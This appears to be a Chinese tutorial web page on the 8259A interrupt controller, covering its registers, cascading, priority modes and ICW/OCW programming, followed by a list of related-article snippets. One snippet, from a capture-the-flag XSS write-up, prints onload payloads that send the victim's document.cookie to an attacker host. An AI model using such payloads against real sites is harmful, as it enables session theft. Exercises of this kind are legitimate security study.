微机原理与接口技术——中断系统与可编中断控制芯片8259A

目录

一、8259A 芯片介绍

二、8259A 的内部结构和引脚

三、8259A 的中断工作过程

四、8259A 的工作方式

五、8259A 的编程

六、外部中断服务程序

一、8259A 芯片介绍

Intel 8259A 是可编程中断控制器,可用于管理 Intel 8080/8085、8086/8088、80286/80386 的可屏蔽中断。其主要功能包括:

1.具有 8 级优先权控制,通过级联可扩展至 64 级。

2.每一级均可通过编程实现屏蔽或开放。

3.能向 CPU 提供相应的中断类型号。

4.可通过编程选择不同的工作方式。

二、8259A 的内部结构和引脚

1.中断控制:

(1)中断请求寄存器 IRR:保存 8 条外设中断请求信号 IR0~IR7 的请求状态,DI=1 表示 IRi 引脚有中断请求,DI=0 表示无请求。

(2)中断服务寄存器 ISR:保存正在被 8259A 服务着的中断状态,DI=1 表示 IRi 中断正在服务中,DI=0 表示没有被服务。

(3)中断屏蔽寄存器 IMR:保存对中断请求信号 IRi 的屏蔽状态,DI=1 表示 IRi 中断被屏蔽(禁止),DI=0 表示 IRi 中断被开放(允许)。

2.读写控制

3.中断级连:

一个系统中 8259A 可以级连,有一个主 8259A 和若干个(最多 8 个)从 8259A。

级连时,主 8259A 的三条级连线 CAS0~CAS2 作为输出线,连至每个从 8259A 的 CAS0~CAS2;每个从 8259A 的中断请求信号 INT,连至主 8259A 的一个中断请求输入端 IRi;主 8259A 的 INT 线连至 CPU 的中断请求输入端 INTR;CPU 的中断响应输出端 INTA 连至主 8259A 和从 8259A 的 INTA端。SP/EN 在非缓冲方式下规定该 8259A 是主片(SP=1)还是从片(SP*=0)。

4.引脚功能,

例如中断请求输入线 IR7~IR0 可设置为上升沿或高电平触发中断请求等。

三、8259A 的中断工作过程

中断响应周期包含两个阶段:

1.第一个响应周期:数据线浮空,通知发中断请求的设备,CPU 准备响应中断,应准备好中断类型号。

2.第二个响应周期:被响应的外设将一个字节的中断类型号送数据线,CPU 读取类型号。

四、8259A 的工作方式

1.设置优先权方式:

(1)普通全嵌套方式:中断优先权顺序固定不变,从高到低依次为 IR0、IR1、IR2……IR7。中断请求后,8259A 对当前请求中断中优先权最高的中断 IRi 予以响应,将其向量号送上数据总线,对应 ISR 的 DI 位置位,直到中断结束(ISR 的 DI 位复位)。在 ISR 的 DI 位置位期间,禁止再发生同级和低级优先权的中断,但允许高级优先权中断的嵌套。

(2)特殊全嵌套方式:允许响应同级中断请求。

(3)优先权自动循环方式:响应后,优先权最低;开始优先权 IR0 最高,IR7 最低。

(4)优先权特殊循环方式:响应后,优先权最低;开始最低优先权由用户指定。

2.结束中断处理方式:

8259A 利用中断服务寄存器 ISR 判断中断是否结束,某位为 1 表示正在进行中断服务,该位为 0 表示中断结束。

(1)自动中断结束方式(AEOI):CPU 一旦进入中断响应总线周期,8259A 就自动将 ISR 相应位清 0,常用于不允许中断嵌套或保证不出现中断重复嵌套的场合。

(2)普通中断结束方式:配合普通全嵌套方式使用,当 CPU 用输出指令往 8259A 发出普通中断结束 EOI 命令时,8259A 就会把所有正在服务的中断中优先权最高的 ISR 位复位。

(3)特殊中断结束方式:需指定结束的引脚。

3.屏蔽中断源方式:

(1)普通屏蔽方式:将 IMR 的 DI 位置 1,则对应的中断 IRi 被屏蔽,该中断请求不能从 8259A 送到 CPU;如果 IMR 的 DI 位置 0,则允许 IRi 中断产生。

(2)特殊屏蔽方式:执行较高级中断服务时,开放较低级的中断请求。

4.中断触发方式:

(1)边沿触发方式:将中断请求输入端出现的上升沿作为中断请求信号的触发方式。

(2)电平触发方式。

5.数据线连接方式:

(1)缓冲方式:8259A 的数据线需加缓冲器予以驱动,SP*/EN 引脚作为输出端,作为输出的 EN 使用时,作为数据总线缓冲器的使能信号。

(2)非缓冲方式。

五、8259A 的编程

1.初始化编程:

8259A 开始工作前,必须进行初始化编程,给 8259A 写入初始化命令字 ICW(ICW1~ICW4),ICW1 和 ICW2 是必须写的,ICW3 和 ICW4 由工作方式决定。初始化流程需要按照 ICW1~ICW4 的顺序写入。

2.中断操作编程:

在 8259A 工作期间,可以写入操作命令字 OCW(OCW1~OCW3)将选定的操作传送给 8259A,使之按新的要求工作,还可以读取 8259A 的信息,了解其工作状态。OCW 写入时没有顺序要求。

3.读取状态字:

CPU 可读出 IRR、ISR、IMR 和查询字。读 IRR、ISR 和查询字时,A0 为低电平,在读之前需先设定要读的寄存器,由 OCW3 中 RR 和 RIS 位设定读取 IRR 或 ISR,由 OCW3 中 P 位设定读取查询字。读 IMR 时,A0 为高电平时,可直接读取。

六、外部中断服务程序

编写主程序时,需注意修改中断向量、控制 CPU 的中断允许标志、设置 8259A 的中断屏蔽寄存器。编写外部可屏蔽中断服务程序时,需注意发送中断结束命令。

在实际应用中,需要根据具体的系统需求和硬件连接情况,合理设置 8259A 的工作方式和编程参数,以实现高效、准确的中断管理和控制。同时,要注意中断处理程序的编写,确保其能够正确处理中断请求,并及时进行中断结束操作,以避免中断嵌套等问题的出现。如果涉及到多个 8259A 芯片的级联,还需要正确配置主从片之间的连接和通信。具体的编程和应用细节可能会因不同的微机系统和应用场景而有所差异。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/911508.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

阿里云-部署CNI flannel集群网络

环境 1.一台阿里云作为k8s-master:8.130.XXX.231(阿里云私有IP) 2.Vmware 两个虚拟机分别作为 k8s-node1:192.168.40.131 k8s-node2:192.168.40.131 3.安装Docker 部署过程 k8s-master,k8s-node1,k8s-node2 初始操作 # 关闭防火墙 systemctl stop fi…

CentOS 7 软件/程序安装示例

安装软件/程序 wget,前提需要用 root 用户 1、搜索软件/程序 yum search wget 搜索到软件/程序。 2、安装软件/程序 yum -y install wget 安装完成。 ---------------------------------------------------------------------------------------------------…

[HCTF 2018]WarmUp 1--详细解析

打开靶机&#xff0c;进入界面&#xff1a; 信息搜集 当前界面没有任何有用信息。 想到查看页面源代码。右键–查看页面源代码 看到hint&#xff1a;<!--source.php--> 进入/source.php页面&#xff0c;看到页面源代码&#xff1a; <?phphighlight_file(__FILE_…

Python的函数

一、定义 函数的定义&#xff1a;实现【特定功能】的代码块。 形参&#xff1a;函数定义时的参数&#xff0c;没有实际意义 实参&#xff1a;函数调用/使用时的参数&#xff0c;有实际意义 函数的作用&#xff1a; 简化代码提高代码重用性便于维护和修改提高代码的可扩展性…

ctfshow(319->326)--XSS漏洞--反射型XSS

Web319 思路 先测试过滤&#xff0c;发现过滤了script、img&#xff0c;没有过滤body&#xff0c;svg payload: <body onload"location.hrefhttp://xx.xx.xx.xx/flag.php?cookiedocument.cookie"/><svg onload"location.hrefhttp://xx.xx.xx.xx/fla…

MySQL server 免安装教程

1&#xff0c;下载免安装包-社区版本 https://dev.mysql.com/downloads/file/?id534320 2&#xff0c;解压 放到一电脑某个路径下&#xff0c;整个包 3&#xff0c;创建data 文件夹和my.ini文件 my.ini代码照抄&#xff0c;注意修改路径&#xff0c;与解压后的安装包地址一…

使用ookii-dialogs-wpf在WPF选择文件夹时能输入路径

在进行WPF开发时&#xff0c;System.Windows.Forms.FolderBrowserDialog的选择文件夹功能不支持输入路径&#xff1a; 希望能够获得下图所示的选择文件夹功能&#xff1a; 于是&#xff0c;通过NuGet中安装Ookii.Dialogs.Wpf包&#xff0c;并创建一个简单的工具类&#xff1a; …

Java项目实战II基于Spring Boot的便利店信息管理系统(开发文档+数据库+源码)

目录 一、前言 二、技术介绍 三、系统实现 四、文档参考 五、核心代码 六、源码获取 全栈码农以及毕业设计实战开发&#xff0c;CSDN平台Java领域新星创作者&#xff0c;专注于大学生项目实战开发、讲解和毕业答疑辅导。获取源码联系方式请查看文末 一、前言 在快节奏的…

SpringBoot整合Liquibase对数据库管理和迁移

简介 Liquibase是一个用于用于跟踪、管理和应用数据库变化的开源工具&#xff0c;通过日志文件(changelog)的形式记录数据库的变更(changeset)&#xff0c;然后执行日志文件中的修改&#xff0c;将数据库更新或回滚(rollback)到一致的状态。它的目标是提供一种数据库类型无关的…

练习LabVIEW第四十三题

学习目标&#xff1a; 模拟红绿灯&#xff0c;红灯亮十秒&#xff0c;绿灯亮五秒&#xff0c;交替&#xff0c;并用波形图将波形显示 开始编写&#xff1a; 前面板 两个指示灯&#xff0c;一个红色&#xff0c;一个绿色&#xff0c;一个波形图&#xff1b; 程序框图 创建…

针对解决前后端BUG的个人笔记

1-IDEA Q&#xff1a;Required Java version 17 is not supported by SDK 1.8. The maximum supported Java version is 8. A: 我们只知道IDEA页面创建Spring项目&#xff0c;其实是访问spring initializr去创建项目。故我们可以通过阿里云国服去间接创建Spring项目。将https…

ElasticSearch 添加IK分词器

ElasticSearch 添加IK分词器 前言一、IK分词器的算法二、Ik分词器的下载安装&#xff08;Winows 版本&#xff09;三、Ik分词器的下载安装&#xff08;Linux 版本&#xff09;四、验证测试&#xff08;postman工具&#xff09;测试 ik_smart 分词算法测试 ik_max_word 分词算法…

Android关机流程知多少?

在 Android 中&#xff0c;关机流程涉及系统各个组件的协同工作&#xff0c;确保设备在断电之前能够安全地关闭所有活动并保存数据。以下是 Android 系统中关机流程的详细介绍&#xff1a; 1. 用户触发关机请求 关机流程由用户的操作触发&#xff0c;通常有以下几种方式&#…

Golang | Leetcode Golang题解之第542题01矩阵

题目&#xff1a; 题解&#xff1a; type point struct{x, y int }var dirs []point{{-1, 0}, {1, 0}, {0, -1}, {0, 1}}func updateMatrix(mat [][]int) [][]int {var m, n len(mat), len(mat[0])var res make([][]int, m)var visited make([][]bool, m)var queue []poin…

基于ssm的小区物业管理系统

项目描述 临近学期结束&#xff0c;还是毕业设计&#xff0c;你还在做java程序网络编程&#xff0c;期末作业&#xff0c;老师的作业要求觉得大了吗?不知道毕业设计该怎么办?网页功能的数量是否太多?没有合适的类型或系统?等等。这里根据疫情当下&#xff0c;你想解决的问…

_处理匿名命名空间里的变量时进入硬件中断错误

最近在初次使用匿名空间时出现一个很离谱的错误&#xff0c;我先简单描述一下情形&#xff1a;在匿名命名空间里有一个变量&#xff08;全局&#xff09;&#xff0c;在命名空间外&#xff0c;有一个内联函数操作该空间内的变量。 如果开优化&#xff0c;那么程序就会进入硬件错…

esp32学习:利用虫洞ESP32开发板,快速实现无线图传

我们的虫洞开发板&#xff0c;能够完美运行esp who AI代码&#xff0c;所以实现无线图传那是非常容易的&#xff0c;我们先看看examples目录&#xff1a; 里面有比较多的web例程&#xff0c;在这些例程下&#xff0c;稍作修改&#xff0c;就可以快速实现我的图传无线功能&#…

芯片需要按一下keyup或者复位按键虚拟或者下载之后芯片能下载却运行不了或者需要额外供电。

这些问题很有可能是因为外围电路器件幅值与设计不同的存在&#xff0c;导致你需要外部供电才能实现一个正常运行&#xff0c;可以检查一下外围电路在供电区域的电流区&#xff0c;电阻幅值是否和原理图设计时看的一模一样或者直接更换 因为按键会失灵&#xff0c;首先检查复位按…

万字长文读懂RAG

目录 RAG的整体架构设计 一、概览 1-Overview 2-Indexing 3-Retrival 4-Generation 二、优化元素提问 5-Multi Query多查询策略 6-RAG-Fusion多查询结果融合策略 7-Decomposition问题分解策略 Answer recursively Answer individually 8-Step Back问答回退策略 9…

[全网最细数据结构完整版]第六篇:3分钟带你吃透栈并模拟实现

目录 1->栈的概念和结构 1.1栈的概念 1.2栈的结构 2->栈的实现 2.1定义关于栈的结构体和各种函数 2.2栈的初始化 STInit 函数 2.3栈的销毁 STDestroy 函数 2.4栈的插入操作 STPush 函数 2.5栈的判断是否为空操作 STEmpty 函数 2.6栈的删除操作 STPop 函数 2.7…